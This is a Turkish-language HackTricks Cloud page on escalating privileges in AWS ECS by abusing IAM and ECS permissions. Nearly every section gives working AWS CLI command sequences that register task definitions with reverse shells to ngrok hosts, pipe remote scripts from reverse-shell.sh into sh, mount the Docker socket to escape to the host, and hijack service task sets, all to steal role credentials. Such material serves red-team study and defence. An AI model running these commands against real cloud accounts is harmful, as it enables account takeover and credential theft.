AWS - ECS Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

ECS

ECS hakkında daha fazla bilgi için:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

iam:PassRole, ecs:RegisterTaskDefinition ve ecs:RunTask izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan kötü niyetli bir konteyner ile yeni bir görev tanımı oluşturabilir ve çalıştırabilir.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potansiyel Etki: Farklı bir ECS rolüne doğrudan yetki yükseltme.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Önceki örnekte olduğu gibi, ECS'de iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask izinlerini kötüye kullanan bir saldırgan, kötü niyetli bir konteyner ile yeni bir görev tanımı oluşturabilir ve çalıştırabilir. Ancak, bu durumda, kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği olması gerekmektedir.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Olası Etki: Herhangi bir ECS rolüne doğrudan yetki yükseltme.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Önceki örnekte olduğu gibi, iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService veya ecs:CreateService izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan kötü niyetli bir konteyner ile yeni bir görev tanımı oluşturabilir ve en az 1 görev çalıştırarak yeni bir hizmet oluşturarak bunu çalıştırabilir.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Olası Etki: Herhangi bir ECS rolüne doğrudan yetki yükseltme.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Aslında, bu izinlerle, bir konteynerde rastgele bir rol ile rastgele komutlar çalıştırmak için geçersiz kılmalar kullanmak mümkündür:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Olası Etki: Herhangi bir ECS rolüne doğrudan privesc.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Bu senaryo, önceki senaryolar gibidir ancak iam:PassRole izni olmaksızın. Bu hala ilginçtir çünkü eğer rastgele bir konteyner çalıştırabiliyorsanız, rol olmadan bile, düğümden kaçmak için ayrıcalıklı bir konteyner çalıştırabilir ve EC2 IAM rolünü ve düğümde çalışan diğer ECS konteyner rollerini ç steal edebilirsiniz. Hatta ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir ve kimlik bilgilerini ç steal edebilirsiniz (bu, Düğüm bölümüne privesc kısmında tartışılmıştır).

Bu saldırı yalnızca ECS kümesinin EC2 örneklerini kullanması durumunda mümkündür, Fargate değil.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

ecs:ExecuteCommand, ecs:DescribeTasks olan bir saldırgan, çalışan bir konteynerin içinde komutlar çalıştırabilir ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için aws ecs execute-command çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var). Ancak, bunu yapmak için konteyner örneğinin ExecuteCommand ajanını çalıştırıyor olması gerekir (varsayılan olarak değildir).

Bu nedenle, saldırgan şunları denemek isteyebilir:

• Her çalışan konteynerde bir komut çalıştırmayı deneyin

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

• Eğer ecs:RunTask iznine sahipse, bir görevi aws ecs run-task --enable-execute-command [...] ile çalıştırın.

• Eğer ecs:StartTask iznine sahipse, bir görevi aws ecs start-task --enable-execute-command [...] ile çalıştırın.

• Eğer ecs:CreateService iznine sahipse, bir hizmet oluşturun aws ecs create-service --enable-execute-command [...] ile.

• Eğer ecs:UpdateService iznine sahipse, bir hizmeti aws ecs update-service --enable-execute-command [...] ile güncelleyin.

Bu seçeneklerin örneklerini önceki ECS privesc bölümlerinde bulabilirsiniz.

Potansiyel Etki: Konteynerlere bağlı farklı bir role privesc.

ssm:StartSession

Bu izni nasıl kötüye kullanabileceğinizi ssm privesc sayfasında kontrol edin ECS'ye privesc yapmak için:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Bu izinleri nasıl kötüye kullanabileceğinizi ec2 privesc sayfasında kontrol edin ECS'ye privesc yapmak için:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Farklı bir AWS hesabından bir örneği kaydetmek mümkün mü, böylece görevler saldırgan tarafından kontrol edilen makinelerde çalıştırılabilir mi??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Bunu test et

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet ve ecs:DescribeTaskSets izinlerine sahip bir saldırgan, mevcut bir ECS hizmeti için kötü niyetli bir görev seti oluşturabilir ve birincil görev setini güncelleyebilir. Bu, saldırgana hizmet içinde rastgele kod çalıştırma imkanı tanır.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potansiyel Etki: Etkilenen hizmette rastgele kod çalıştırmak, bu hizmetin işlevselliğini etkileyebilir veya hassas verilerin sızdırılmasına neden olabilir.

Referanslar

• https://ruse.tech/blogs/ecs-attack-methods

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.